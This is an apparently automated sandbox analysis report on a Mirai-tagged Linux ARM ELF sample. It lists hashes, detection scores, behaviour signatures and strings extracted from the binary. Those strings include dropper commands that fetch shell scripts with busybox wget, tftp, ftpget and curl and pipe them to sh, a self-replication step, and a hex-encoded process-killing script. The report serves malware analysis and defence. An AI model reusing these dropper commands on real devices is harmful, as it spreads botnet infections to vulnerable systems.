Linux Analysis Report
Vtj9UyYoUc.elf

Overview

General Information

Sample name: Vtj9UyYoUc.elf
renamed because original name is a hash value
Original sample name: 63127e9b49d9e4be2a3851d4e0e2d338.elf
Analysis ID: 1432504
MD5: 63127e9b49d9e4be2a3851d4e0e2d338
SHA1: f5b2eceb15bf4f3357607f5371c0ffe26061cb62
SHA256: b3cc5833fb2f3f50d6c87842afe536d56227cb291d0864de6c7770ebfe1d9d30
Tags: 32armelfmirai
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Vtj9UyYoUc.elf Virustotal: Detection: 33% Perma Link
Source: Vtj9UyYoUc.elf ReversingLabs: Detection: 57%
Found strings indicative of a multi-platform dropper
Source: Vtj9UyYoUc.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: Vtj9UyYoUc.elf String found in binary or memory: http:///curl.sh
Source: Vtj9UyYoUc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal48.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/Vtj9UyYoUc.elf (PID: 5796) Queries kernel information via 'uname': Jump to behavior
Source: Vtj9UyYoUc.elf, 5796.1.000055d904cf8000.000055d904e26000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/Vtj9UyYoUc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Vtj9UyYoUc.elf
Source: Vtj9UyYoUc.elf, 5796.1.000055d904cf8000.000055d904e26000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true